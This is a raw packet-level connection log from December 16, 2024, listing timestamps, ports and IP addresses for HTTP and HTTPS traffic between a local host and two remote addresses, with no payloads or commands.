Dec 16, 2024 15:02:20.238235950 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.238401890 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.241205931 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.241276026 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.241326094 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.241400957 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.243644953 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.243717909 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.243721008 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.243782997 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.246073008 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.246157885 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.246189117 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.246372938 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.248718023 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.248794079 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.248807907 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.248924017 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.251271009 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.251341105 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.251431942 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.251526117 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.253825903 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.253889084 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.253971100 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.254018068 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.256311893 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.256381035 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.256472111 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.258832932 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.258891106 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.258908987 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.258969069 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.261424065 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.261476040 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.261636972 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.261809111 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.263712883 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.263782024 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.263825893 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.263925076 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.266047955 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.266113043 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.266190052 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.266247988 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.268438101 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.268450975 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.268616915 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.271840096 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.271852970 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.271950006 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.274138927 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.274208069 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.274230003 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.274300098 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.276246071 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.276268005 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.276314974 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.276315928 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.278198957 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.278343916 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.278351068 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.278469086 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.280558109 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.280570030 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.280651093 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.280651093 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.283334017 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.283354044 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.283420086 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.283421040 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.285387039 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.285429001 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.285455942 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.285471916 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.287708998 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.287841082 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.287878990 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.288103104 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.290119886 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.290245056 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.290252924 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.290301085 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.292553902 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.292669058 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.292675972 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.292905092 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.295007944 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.295082092 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.295099974 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.295137882 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.297370911 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.297432899 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.297452927 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.299328089 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.299954891 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.300023079 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.300179958 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.302300930 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.302314043 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.302409887 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.304601908 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.304773092 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.304872036 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.304997921 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.306978941 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.307090998 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.307182074 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.309506893 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.309607029 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.309636116 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.309685946 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.311834097 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.311887026 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.311925888 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.312014103 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.314783096 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.314806938 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.314868927 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.314868927 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.315578938 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:20.315650940 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:20.315680981 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:20.315717936 CET	49894	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:20.315728903 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:20.315984011 CET	49894	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:20.316678047 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.316740990 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.316766024 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.316819906 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.317182064 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:20.319071054 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.319165945 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.319181919 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.319286108 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.321465969 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.321517944 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.321602106 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.321671009 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.323894978 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.323977947 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.324033022 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.324100971 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.325602055 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:20.325681925 CET	49894	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:20.325695038 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:20.326261044 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.326359987 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.326438904 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.328674078 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.328696012 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.328783989 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.331082106 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.331172943 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.331182957 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.331296921 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.333468914 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.333529949 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.333554983 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.333614111 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.335939884 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.336024046 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.336039066 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.336154938 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.338320017 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.338432074 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.338527918 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.340672970 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.340774059 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.370028019 CET	49894	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:20.370049000 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:20.407010078 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.407084942 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.407190084 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.407191038 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.407964945 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.408065081 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.408153057 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.408427000 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.409813881 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.409882069 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.409920931 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.410065889 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.411607981 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.411663055 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.411722898 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.411803961 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.413542986 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.413618088 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.413633108 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.413736105 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.415375948 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.415482044 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.415596962 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.416888952 CET	49894	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:20.417156935 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.417268038 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.417367935 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.418792963 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.418874025 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.418908119 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.418972969 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.420582056 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.420659065 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.420691967 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.420736074 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.422353029 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.422446012 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.422539949 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.422591925 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.424169064 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.424247980 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.424254894 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.424307108 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.425724983 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.425776958 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.425801992 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.425870895 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.428244114 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.428339005 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.428343058 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.428388119 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.429883957 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.429950953 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.429996014 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.430241108 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.431611061 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.431682110 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.431735039 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.433063984 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.433077097 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.433129072 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.433129072 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.434248924 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.434262991 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.434353113 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.435307026 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:20.435338020 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.435429096 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.435441971 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.435594082 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.436924934 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.437025070 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.437043905 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.437192917 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.438625097 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.438688993 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.438731909 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.438813925 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.439408064 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:20.439454079 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:20.439497948 CET	49894	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:20.439518929 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:20.440035105 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.440098047 CET	49894	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:20.440145969 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.440150023 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.440197945 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.441643000 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.441708088 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.441737890 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.441824913 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.443485975 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.443566084 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.443608046 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.443633080 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.444776058 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.444896936 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.444979906 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.446222067 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.446304083 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.446316004 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.446377039 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.447658062 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.447763920 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.448009014 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.448126078 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.449338913 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.449352980 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.449388981 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.449409962 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.450623989 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.450711966 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.450781107 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.452430964 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.452469110 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.452598095 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.453757048 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.453815937 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.453830957 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.453891039 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.454983950 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.455058098 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.455080032 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.455147028 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.456737041 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.456772089 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.456943035 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.457892895 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.457978964 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.458018064 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.458103895 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.459332943 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.459384918 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.459470034 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.460712910 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.460800886 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.460832119 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.460916996 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.462126970 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.462182999 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.462230921 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.462399960 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.463571072 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.463690042 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.463706970 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.463893890 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.464451075 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.464502096 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.464585066 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.465298891 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.465354919 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.465466976 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.465692043 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.466187954 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.466281891 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.466346025 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.467067957 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.467219114 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.467329979 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.467994928 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.468064070 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.468132019 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.468230963 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.468858004 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.468916893 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.468957901 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.469044924 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.469958067 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.470010042 CET	80	49892	185.215.113.16	192.168.2.6
